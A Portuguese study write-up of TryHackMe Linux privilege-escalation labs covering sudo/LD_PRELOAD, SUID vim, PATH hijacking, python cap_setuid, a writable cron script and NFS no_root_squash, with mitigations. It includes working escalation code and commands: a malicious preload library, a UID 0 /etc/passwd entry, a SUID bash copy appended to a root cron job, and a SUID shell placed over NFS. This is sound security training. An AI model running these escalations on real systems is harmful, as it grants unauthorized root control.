Linux Privilege Escalation - do sudo ao NFS

Introdução

Neste estudo, reuni os exercícios de Linux Privilege Escalation do TryHackMe para entender e aprender como configurações inseguras permitem que um usuário comum, como john, obtenha privilégios de root.

O ponto principal é identificar qual permissão está errada, entender por que ela é perigosa e testar a hipótese. Organizei os seis vetores que estudei, os comandos utilizados e as verificações que ajudam a entender o resultado.

Escopo: os comandos foram usados em VMs autorizadas. Não execute alterações de autenticação, arquivos SUID ou compartilhamentos NFS em sistemas sem autorização. Os IPs das VMs são temporários e podem mudar após um reset.

Índice


Enumeração inicial

Antes de pensar em um exploit, precisamos conhecer a máquina. Enumeração é exatamente isso: levantar informações e procurar configurações fora do padrão.

Em vez de sair executando várias ferramentas de uma vez, costumo começar com algumas perguntas:

  • Qual é a versão do Linux?
  • Quem sou eu e quais comandos posso executar?
  • Quais serviços, portas e compartilhamentos existem?
  • Quais arquivos e executáveis possuem permissões interessantes?

Enumeration: OS

uname -a
cat /etc/os-release
uname -r
ps aux | head

O uname mostra informações do sistema e do kernel; /etc/os-release ajuda a identificar a distribuição. ps aux lista processos, e head limita a saída às primeiras linhas.

Essas informações ajudam a entender o ambiente antes de pesquisar versões, serviços ou possíveis problemas de configuração.

Enumeration: User

id
whoami
groups
sudo -l
  • id mostra UID e GID, além dos grupos.
  • whoami mostra o usuário efetivo.
  • groups lista os grupos do usuário.
  • sudo -l mostra quais programas podemos executar por meio do sudo e com quais condições.

Um detalhe importante: poder usar um programa com sudo não significa ter autorização para todos os programas.

Enumeration: Network

ip -br addr
ss -tuln
cat /etc/exports

O primeiro comando resume as interfaces e endereços IP. O ss mostra portas TCP/UDP em escuta, e /etc/exports permite verificar se o servidor disponibiliza diretórios via NFS.

Quando existe um servidor NFS no escopo, podemos enumerar seus compartilhamentos a partir da máquina atacante:

showmount -e <TARGET_IP>

O uso de <TARGET_IP> representa o IP da VM alvo, e não o IP da AttackBox.

Enumeration: File

Aqui encontramos muitas das pistas usadas nas próximas etapas.

Binários SUID pertencentes ao root:

find / -type f -user root -perm -4000 -printf '%p\n' 2>/dev/null

Capabilities dos executáveis:

getcap -r / 2>/dev/null

Arquivos que meu usuário consegue modificar:

find /opt /usr/local/bin /home -type f -writable -printf '%p\n' 2>/dev/null

Diretórios graváveis:

find / -type d -writable -printf '%p\n' 2>/dev/null | sort -u

Para ter uma saída menor durante a investigação, podemos limitar a busca:

find /usr/bin /usr/local/bin -type f -user root -perm -4000 -printf '%p\n' 2>/dev/null

E, quando aparecem dezenas de resultados de pacotes Snap:

find / -type f -user root -perm -4000 -printf '%p\n' 2>/dev/null | grep -v '^/snap/'

Dica: começar com uma busca curta é ótimo, mas sempre amplie quando não encontrar nada. Em uma das VMs, o executável vulnerável estava em /opt/path/mywhoami, fora dos diretórios pesquisados inicialmente.

Para consultar o potencial de abuso de um executável encontrado, uso o GTFOBins, que organiza técnicas por categorias como sudo, SUID e capabilities.

↑ Voltar ao índice


Escalação de privilégios

Depois da enumeração, o desafio é entender qual configuração permite fazer algo que o usuário comum não deveria conseguir. Cada VM explorou uma situação diferente.

Privilege Escalation: Sudo, Apache2 e LD_PRELOAD

No Linux, sudo permite executar comandos como outro usuário, normalmente root. Isso é útil na administração do sistema, mas pode se tornar perigoso se programas poderosos forem liberados sem restrição.

Na VM sudo-box, executei:

sudo -l

E encontrei:

User john may run the following commands on sudo-box:
    (ALL) NOPASSWD: /usr/bin/nano
    (ALL) NOPASSWD: /usr/sbin/apache2

Matching Defaults entries:
    env_keep+=LD_PRELOAD

Ou seja: podia executar Nano e Apache2 como root sem senha. A configuração também preservava LD_PRELOAD.

Ler arquivo protegido com Nano

Como o Nano estava liberado, bastava usar:

sudo /usr/bin/nano -v /etc/shadow

O -v abre em modo de visualização. O /etc/shadow armazena informações protegidas de autenticação, incluindo hashes de senha quando existem.

Apache2: leitura indireta por mensagem de erro

O Apache possui a opção -f, que define um arquivo alternativo de configuração. Se indicarmos um arquivo que não contém diretivas Apache, ele tentará interpretá-lo e poderá revelar partes do conteúdo no erro.

sudo /usr/sbin/apache2 -C "LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so" -f /etc/shadow

Resultado:

AH00526: Syntax error on line 1 of /etc/shadow:
Invalid command 'root:*:18561:0:99999:7:::'

Aqui o Apache conseguiu ler a primeira linha, mas não conseguiu interpretá-la como configuração. O asterisco no campo da senha de root indica que não havia ali um hash de senha utilizável. Portanto, ler essa linha não significou recuperar a senha de root.

LD_PRELOAD: biblioteca carregada antes do programa

O LD_PRELOAD permite solicitar que o carregador dinâmico carregue uma biblioteca compartilhada antes das bibliotecas usuais do programa. Na administração comum isso pode servir para depuração ou testes; em uma regra sudo mal configurada, abre espaço para executar código com privilégios elevados.

Código da biblioteca usada no laboratório:

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

void _init(void) {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

Para salvar o código no terminal sem abrir um editor, podemos usar cat com um here-document:

cat > shell.c <<'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

void _init(void) {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
EOF

O cat recebe o texto até a linha EOF, e o operador > cria ou substitui shell.c. Para acrescentar conteúdo sem substituir o arquivo, usamos >>.

Agora compilamos a biblioteca compartilhada:

gcc -fPIC -shared -o shell.so shell.c -nostartfiles
  • -fPIC: gera código independente da posição na memória.
  • -shared: cria uma biblioteca compartilhada, geralmente com extensão .so.
  • -o: nome do arquivo final.
  • -nostartfiles: não inclui os arquivos padrão de inicialização.

E executamos um programa autorizado pelo sudo, apontando para a biblioteca:

sudo LD_PRELOAD=/home/john/shell.so /usr/bin/nano
id
whoami

No laboratório, o resultado foi uma shell com uid=0(root).

O que aprendemos: não basta um comando aparecer no sudo -l; é preciso entender o que ele permite fazer e quais variáveis o sudo preserva. Veja também LD_PRELOAD.

↑ Voltar ao índice


Privilege Escalation: SUID

O SUID permite que um executável rode com o UID efetivo de seu proprietário. Se o proprietário é root, o programa pode receber privilégios que nosso usuário não possui.

Isso é normal em alguns executáveis do sistema, mas um editor genérico com SUID root é uma configuração especialmente perigosa.

Encontrar o binário

Na VM suid-box:

find / -type f -user root -perm -4000 -printf '%p\n' 2>/dev/null | grep -v '^/snap/'

O arquivo que chamou atenção foi:

/usr/bin/vim.basic

Confirmei:

ls -l /usr/bin/vim.basic
-rwsr-xr-x 1 root root 4126400 ... /usr/bin/vim.basic

O s no lugar do x das permissões do proprietário indica que o SUID está ativo.

Entender o /etc/passwd

O arquivo /etc/passwd contém informações das contas Linux, como nome, UID, GID, diretório pessoal e shell. Seu formato é:

usuario:senha-ou-indicador:UID:GID:comentario:home:shell

Exemplo:

root:x:0:0:root:/root:/bin/bash

O x costuma indicar que o hash de senha está armazenado em /etc/shadow. Já o UID 0 identifica a conta com privilégios de root.

Na room, o objetivo era adicionar uma conta de laboratório com UID 0 usando o editor que tinha SUID.

Gerar o hash da senha

openssl passwd -1 -salt THM password1

Resultado:

$1$THM$WnbwlliCqxFRQepUTCkUT1

O -1 seleciona MD5-crypt, um formato antigo e inadequado para senhas em produção. THM é o salt e password1 é a senha escolhida.

Gerar um hash não cria o usuário. Ele é apenas uma parte dos dados de autenticação.

Editar a conta de laboratório

Abra o binário que realmente tinha SUID:

/usr/bin/vim.basic /etc/passwd

No Vim, vá ao fim do arquivo com G, crie uma nova linha com o e acrescente a entrada fornecida no exercício:

hacker:$1$THM$WnbwlliCqxFRQepUTCkUT1:0:0:root:/root:/bin/bash

Pressione Esc, use :wq para salvar e sair, e confirme que a conta existe:

getent passwd hacker

Por fim:

su hacker

A senha escolhida era password1. Confirmei:

uid=0(root) gid=0(root) groups=0(root)
root

A técnica funcionou porque o editor conseguiu alterar um arquivo protegido. A nova conta compartilhou o UID 0 do root — não foi necessário descobrir a senha original.

↑ Voltar ao índice


Privilege Escalation: PATH Hijacking

O PATH é uma variável com os diretórios em que o Linux procura programas quando usamos um comando sem informar o caminho completo.

Por exemplo, ao executar whoami, o shell procura um programa com esse nome nos diretórios do PATH. Já /usr/bin/whoami aponta diretamente para o arquivo correto.

O PATH Hijacking acontece quando conseguimos colocar um executável controlado por nós em um diretório pesquisado antes do verdadeiro.

Identificar o programa vulnerável

No material da room, o exemplo usava um programa chamado program que procurava thm. Na VM real, esse arquivo não existia. A enumeração SUID revelou outro candidato:

/opt/path/mywhoami

Investiguei assim:

ls -l /opt/path/mywhoami
file /opt/path/mywhoami
strings /opt/path/mywhoami | grep -E 'whoami|system|exec'

Saída relevante:

-rwsr-xr-x 1 root root ... /opt/path/mywhoami
system
whoami
system@GLIBC_2.2.5

O strings extrai textos legíveis de arquivos binários. Ele não substitui uma análise completa do código, mas ajuda a identificar nomes de comandos e funções que merecem investigação.

Nesse caso, o comportamento indicava uma chamada equivalente a system("whoami") sem caminho absoluto.

Colocar /tmp no início do PATH

export PATH=/tmp:$PATH
echo "$PATH"

O /tmp é um diretório gravável. Colocando-o no início da lista, o programa pode encontrar primeiro um comando que criarmos ali.

Criar o executável correspondente

O programa real procurava whoami, então foi esse nome que usamos:

printf '#!/bin/sh\n/bin/bash -p\n' > /tmp/whoami
chmod 755 /tmp/whoami

O printf cria o texto diretamente pelo terminal; \n insere quebras de linha. O Bash usa -p para preservar privilégios efetivos quando disponíveis.

Executar e conferir

/opt/path/mywhoami
id
/usr/bin/whoami

A VM confirmou:

uid=0(root) gid=0(root) groups=0(root),1001(john)
root

Detalhe interessante: depois do hijacking, executar apenas whoami chamaria nosso script em /tmp outra vez. Por isso usei /usr/bin/whoami na verificação.

↑ Voltar ao índice


Privilege Escalation: Capabilities

As Linux Capabilities dividem alguns privilégios administrativos em permissões específicas. Em vez de dar todos os poderes de root a um programa, o administrador pode permitir apenas certas operações.

Por exemplo, cap_net_raw permite determinadas operações de rede; cap_setuid permite alterar o UID do processo.

Procurar capabilities

getcap -r / 2>/dev/null | grep -v '^/snap/'

Na capabilities-box, encontrei:

/usr/bin/python3.12 cap_setuid=ep

O cap_setuid era o ponto principal. O e significa effective e o p, permitted: a capability estava disponível para o programa utilizar.

Executar usando o Python identificado

/usr/bin/python3.12 -c 'import os; os.setuid(0); os.execl("/bin/bash", "bash", "-p")'
  • -c executa código Python informado diretamente.
  • import os carrega funções do sistema operacional.
  • os.setuid(0) altera o UID para 0 usando a capability.
  • os.execl() substitui o processo pela shell Bash.

Confira com:

id
/usr/bin/whoami

O importante aqui é verificar qual executável recebeu a capability. Neste ambiente ela pertencia ao Python, portanto não fazia sentido copiar literalmente um exemplo de Vim apresentado em outro material.

↑ Voltar ao índice


Privilege Escalation: Cron Jobs

O Cron é o agendador de tarefas do Linux. É muito usado para backups, limpeza de arquivos, manutenção e outras rotinas automáticas.

O problema aparece quando uma tarefa é executada pelo root, mas chama um script que um usuário comum consegue editar.

Procurar tarefas agendadas

cat /etc/crontab
ls -la /etc/cron.d /etc/cron.* 2>/dev/null

Na cron-box, encontrei o arquivo /etc/cron.d/cleanup:

cat /etc/cron.d/cleanup
SHELL=/bin/bash
PATH=/home/ubuntu:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

* * * * * root /usr/local/bin/cleanup.sh

Os cinco asteriscos representam minuto, hora, dia do mês, mês e dia da semana. Nesse caso, a tarefa é executada a cada minuto, como root.

Verificar permissões e conteúdo

ls -l /usr/local/bin/cleanup.sh
cat /usr/local/bin/cleanup.sh
namei -l /usr/local/bin/cleanup.sh

Resultado:

-rwxrwxrwx 1 root root ... /usr/local/bin/cleanup.sh

O script fazia limpeza de arquivos antigos:

#!/bin/bash
find /tmp -type f -mtime +1 -delete
find /var/tmp -type f -mtime +7 -delete
echo "[cleanup] done at $(date)"

A permissão 777 significava que qualquer usuário poderia modificar o script. Já o namei -l é útil para ver as permissões de cada componente do caminho.

Acrescentar o teste ao script

Primeiro guardei o original:

cp /usr/local/bin/cleanup.sh ~/cleanup.sh.bak

Depois adicionei o comando de demonstração sem apagar as instruções de limpeza:

printf '\ncp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash\n' >> /usr/local/bin/cleanup.sh

O >> acrescenta uma linha no final do script. Na próxima execução da tarefa, o processo root cria uma cópia do Bash e configura seu SUID.

Após a execução agendada, confira:

ls -l /tmp/rootbash

Se o arquivo for criado pelo root com SUID, as permissões devem começar com -rws.

Para testar no laboratório:

/tmp/rootbash -p
id

A causa da vulnerabilidade é simples: um arquivo modificável por usuários comuns não deve ser executado automaticamente como root.

↑ Voltar ao índice


Privilege Escalation: NFS e no_root_squash

O NFS (Network File System) permite compartilhar diretórios pela rede, como se uma pasta de outro computador estivesse conectada ao nosso Linux.

É usado normalmente para compartilhar arquivos entre servidores, máquinas de trabalho, ambientes de desenvolvimento e sistemas de backup.

O comando mount conecta um sistema de arquivos a um diretório local. Por exemplo, podemos montar um compartilhamento remoto em /mnt/nfs-thm: a partir daí, os arquivos gravados nesse diretório aparecem também no compartilhamento do servidor.

Por isso, nesse exercício não precisamos de Netcat nem Metasploit para enviar o executável. O próprio NFS já faz essa troca de arquivos.

Identificar o compartilhamento vulnerável

Na VM alvo nfs-box:

cat /etc/exports
/opt/nfs *(rw,sync,no_root_squash,no_subtree_check)

O arquivo /etc/exports define quais diretórios o servidor oferece pela rede e sob quais condições.

Opção Significado
rw Permite leitura e escrita
sync Confirma operações conforme a política síncrona de gravação
no_root_squash Preserva a identidade UID 0 do root remoto
no_subtree_check Dispensa verificações de subárvore
* Aceita qualquer cliente segundo essa regra de exportação

O detalhe perigoso é no_root_squash. Normalmente, o NFS pode mapear o root de um cliente para uma conta sem privilégios no servidor (root_squash). Aqui, esse mapeamento estava desativado.

Conferir os compartilhamentos pela AttackBox

Na sessão da room, as máquinas estavam assim:

Máquina IP usado Função
AttackBox 10.66.106.92 Criar e colocar o arquivo no compartilhamento
nfs-box 10.66.133.77 Executar o arquivo

Esses IPs são apenas exemplos da sessão e podem mudar.

Na AttackBox:

showmount -e 10.66.133.77

Resultado:

Export list for 10.66.133.77:
/opt/nfs *

Montar o compartilhamento

Na AttackBox, com root:

mkdir -p /mnt/nfs-thm
mount -t nfs -o rw 10.66.133.77:/opt/nfs /mnt/nfs-thm
mount | grep nfs-thm
  • mkdir -p cria o diretório local, se necessário.
  • -t nfs informa o tipo de sistema de arquivos.
  • -o rw solicita montagem com leitura e escrita.
  • IP:/opt/nfs é o diretório compartilhado do alvo.
  • /mnt/nfs-thm é onde acessamos esse diretório na AttackBox.

A partir desse ponto, o conteúdo colocado em /mnt/nfs-thm aparece na VM alvo em /opt/nfs.

Código para criar um executável privilegiado

O programa abaixo tenta assumir UID/GID 0 e abrir um Bash. Ele depende de ser executado por meio de um arquivo pertencente ao root com SUID.

#include <unistd.h>

int main(void) {
    setgid(0);
    setuid(0);
    execl("/bin/bash", "bash", "-p", (char *)NULL);
    return 1;
}

Podemos criar o arquivo diretamente no terminal:

cat > /mnt/nfs-thm/nfs.c <<'EOF'
#include <unistd.h>

int main(void) {
    setgid(0);
    setuid(0);
    execl("/bin/bash", "bash", "-p", (char *)NULL);
    return 1;
}
EOF

Dica: nesse formato, o cat recebe as linhas até EOF e o > grava o arquivo. Não é preciso abrir Nano ou Vim. Para adicionar conteúdo ao final de um arquivo existente, use >>.

Compilar e enviar pelo próprio NFS

É mais simples compilar localmente na AttackBox e depois copiar o binário pronto para a pasta montada:

gcc /mnt/nfs-thm/nfs.c -o /root/nfs2 -static
cp /root/nfs2 /mnt/nfs-thm/nfs2
chown root:root /mnt/nfs-thm/nfs2
chmod 4755 /mnt/nfs-thm/nfs2
sync
ls -l /mnt/nfs-thm/nfs2

O -static pede compilação com ligação estática. O chown define a propriedade como root, o chmod 4755 ativa SUID e o sync solicita a gravação dos dados pendentes.

O resultado esperado é:

-rwsr-xr-x 1 root root ... /mnt/nfs-thm/nfs2

Lembrete: confirme as permissões do mesmo arquivo que será executado. O s precisa aparecer no executável nfs2, não em outro arquivo.

Executar na nfs-box

Voltando ao terminal john@nfs-box:

ls -l /opt/nfs/nfs2
/opt/nfs/nfs2
id
whoami

A VM retornou:

-rwsr-xr-x 1 root root 785768 ... /opt/nfs/nfs2
uid=0(root) gid=0(root) groups=0(root),1001(john)
root

Root confirmado. O arquivo criado pela AttackBox apareceu no servidor com proprietário root e SUID, permitindo que o usuário john executasse o programa com privilégios administrativos.

↑ Voltar ao índice


Erros comuns e dúvidas

Durante os exercícios, alguns detalhes pequenos fizeram bastante diferença. Reuni aqui os que valem lembrar em outros laboratórios.

Situação O que aconteceu / como resolver
sudo find pediu senha e foi negado Copiei o comando de um exemplo, mas o sudo -l autorizava apenas Nano e Apache2. Primeiro confira o que realmente está permitido.
GCC mostrou implicit declaration of setuid Faltava #include <unistd.h>, onde são declaradas setuid() e setgid().
su hacker dizia que o usuário não existia Eu havia gerado apenas o hash; ainda precisava salvar a entrada completa no /etc/passwd.
su THM não funcionou THM era o salt do hash, não o nome da conta.
A busca SUID não mostrou nada interessante A busca limitada a /usr/bin não encontrava /opt/path/mywhoami. Amplie para / quando necessário.
Criei /tmp/thm, mas não era usado O exemplo didático procurava thm; o programa real procurava whoami.
whoami deixou de imprimir o usuário O comando havia sido substituído no PATH. Use /usr/bin/whoami para chamar o executável original.
./vim: No such file or directory ./ procura no diretório atual. Além disso, a capability encontrada naquela VM estava no Python, não no Vim.
NFS não montava Inicialmente usei o IP da AttackBox em vez do IP da nfs-box. O IP após mount deve ser o do servidor NFS.
Text file busy ao executar o binário NFS O arquivo ainda podia estar aberto para escrita. Compilei fora do NFS e depois copiei o binário pronto.
nfs2 rodava, mas continuava como john O chmod 4755 havia sido aplicado ao antigo nfs, não ao nfs2. Conferir ls -l mostrou a diferença.
SUID está presente, mas o programa não eleva Verifique proprietário, comportamento do programa, sistema de arquivos e restrições como nosuid. SUID sozinho não garante exploração.

Se precisar examinar arquivos de contas sem modificá-los, estes dois comandos também ajudam:

# Contas com UID 0
awk -F: '$3 == 0 {print $1, $3, $4}' /etc/passwd

# Entradas sem os sete campos esperados
awk -F: 'NF != 7 {print NR, $0}' /etc/passwd

↑ Voltar ao índice


Tabela de comandos e operadores

Comando / operador Para que serve Exemplo
id UID, GID e grupos id
whoami Nome associado ao UID efetivo /usr/bin/whoami
sudo -l Comandos autorizados pelo sudo sudo -l
uname -a Informações do sistema e kernel uname -a
ip -br addr Resumo dos IPs e interfaces ip -br addr
ss -tuln Portas TCP/UDP em escuta ss -tuln
find -type f Apenas arquivos regulares find /opt -type f
find -type d Apenas diretórios find /tmp -type d
-user root Arquivos pertencentes ao root find /opt -user root
-perm -4000 Arquivos com bit SUID find / -perm -4000
-perm -2000 Arquivos com bit SGID find / -perm -2000
-writable Arquivos/diretórios graváveis find /opt -writable
-printf '%p\n' Imprime um caminho por linha find /opt -printf '%p\n'
2>/dev/null Oculta mensagens de erro find / 2>/dev/null
| Envia saída para o próximo comando ls | grep log
grep -v Remove linhas correspondentes grep -v '^/snap/'
sort -u Ordena e remove duplicados sort -u
> Cria ou substitui conteúdo printf 'a\n' > teste
>> Acrescenta conteúdo printf 'b\n' >> teste
printf Escreve texto formatado printf 'linha\n'
chmod 755 Permissões rwx/rx/rx chmod 755 script.sh
chmod 4755 Ativa SUID e permissões 755 chmod 4755 binario
chown Muda proprietário e grupo chown root:root binario
./arquivo Executa arquivo do diretório atual ./program
strings Extrai textos de um binário strings ./program
getcap -r Procura capabilities recursivamente getcap -r /
namei -l Examina permissões em cada nível do caminho namei -l /opt/script.sh
showmount -e Lista compartilhamentos NFS exportados showmount -e IP
mount -t nfs Monta diretório NFS remotamente mount -t nfs IP:/pasta /mnt/pasta
sync Solicita gravação de dados pendentes sync

Entendendo permissões rapidamente

-rwsr-xr-x  ← SUID ativo (s)
-rwxr-xr-x  ← executável comum (x)
-rwxrwxrwx  ← qualquer usuário pode ler, escrever e executar

O chmod 4755 usa o primeiro dígito 4 para ativar SUID, enquanto 755 define permissões normais. Já 777 dá escrita a todos, mas não ativa SUID.

↑ Voltar ao índice


Glossário de siglas e conceitos

Termo O que é e para que serve
UID (User ID) Número que identifica a conta Linux. O UID 0 identifica root.
EUID (Effective User ID) Identidade que o sistema considera nas verificações de permissão do processo.
GID (Group ID) Número que identifica o grupo principal.
SUID (Set User ID) Bit que permite executar um binário com o UID efetivo de seu proprietário.
SGID (Set Group ID) Bit associado à identidade de grupo; seu efeito depende do tipo de arquivo.
Sudo Ferramenta usada para executar comandos autorizados sob outra identidade.
sudoers Regras que dizem quem pode usar sudo, em quais programas e condições.
LD_PRELOAD Variável que permite solicitar o carregamento antecipado de bibliotecas dinâmicas.
.so (Shared Object) Arquivo de biblioteca compartilhada no Linux.
GCC (GNU Compiler Collection) Ferramentas utilizadas para compilar código, como programas em C.
ELF (Executable and Linkable Format) Formato comum de binários e bibliotecas Linux.
PIC (Position-Independent Code) Código que funciona em diferentes endereços de memória.
PATH Variável com os diretórios pesquisados para encontrar comandos.
PATH Hijacking Manipulação da busca de comandos para executar outro programa com o mesmo nome.
Linux Capabilities Permissões específicas do kernel, sem necessariamente conceder todos os privilégios do root.
cap_setuid Capability que permite alterar o UID do processo.
Cron Agendador de tarefas do Linux.
Cron Job Tarefa executada automaticamente pelo Cron.
NFS (Network File System) Serviço usado para acessar arquivos e diretórios compartilhados pela rede.
mount Comando que associa um sistema de arquivos a um diretório local.
Export Diretório disponibilizado por um servidor NFS.
root_squash Recurso NFS que mapeia o root remoto para uma identidade sem privilégios.
no_root_squash Desativa esse mapeamento e pode permitir que o root remoto preserve UID 0.
nosuid Opção de montagem que impede efeitos de SUID/SGID e certas capabilities de arquivos.
Shell Programa de interpretação de comandos, como Bash ou sh.
Hash Resultado de função unidirecional, usado também para verificar senhas.
Salt Valor incorporado ao hashing de senhas para evitar resultados idênticos para senhas iguais.
GTFOBins Catálogo de técnicas envolvendo binários Unix e permissões.
ETXTBSY (Text file busy) Erro que pode acontecer ao executar um arquivo aberto para escrita.

↑ Voltar ao índice


Mitigação e conclusão

Depois de passar por essas VMs, uma coisa ficou clara: uma configuração pequena e aparentemente inofensiva pode ser suficiente para entregar privilégios de root.

Técnica Problema Como evitar
Sudo e LD_PRELOAD Permissões amplas e variáveis de ambiente perigosas Restringir sudoers e revisar o ambiente preservado
SUID Programa privilegiado com funções perigosas Remover SUID desnecessário e auditar binários
PATH Hijacking Busca de comandos em diretórios controláveis Usar caminhos absolutos e PATH confiável
Capabilities Permissão perigosa em interpretador genérico Revisar e remover capabilities excessivas
Cron Jobs Root executa script gravável por outros usuários Corrigir proprietário, diretórios e permissões
NFS Compartilhamento gravável com no_root_squash Habilitar root_squash e limitar os clientes autorizados

O caminho mental que funcionou melhor foi:

Enumerar
   ↓
Encontrar algo incomum
   ↓
Verificar permissões e comportamento
   ↓
Entender a falha
   ↓
Testar a hipótese
   ↓
Confirmar privilégios

Em laboratórios próprios, vale restaurar um snapshot após as práticas e remover montagens ou artefatos criados durante os testes. Em especial, não mantenha usuários UID 0 adicionais, cópias SUID de shells ou scripts agendados modificados.

Referências e ferramentas para continuar estudando

  • GTFOBins — ótimo para verificar os usos de binários que encontramos durante a enumeração.
  • GTFOBins no GitHub — repositório do projeto.
  • PEASS-ng / LinPEAS — automação de checks comuns de enumeração e escalação no Linux.
  • Linux Smart Enumeration (LSE) — enumeração organizada por níveis de detalhe.
  • Manual do próprio Linux: man sudoers, man capabilities, man exports, man crontab e man find.

Os scripts de enumeração ajudam a achar pistas, mas não substituem entender o que cada permissão significa ou por que a configuração é perigosa.

Próximo laboratório

Na próxima room, Linux Privilege Escalation: Automation, o foco será automatizar a enumeração e trabalhar com ferramentas e exploits públicos.

↑ Voltar ao topo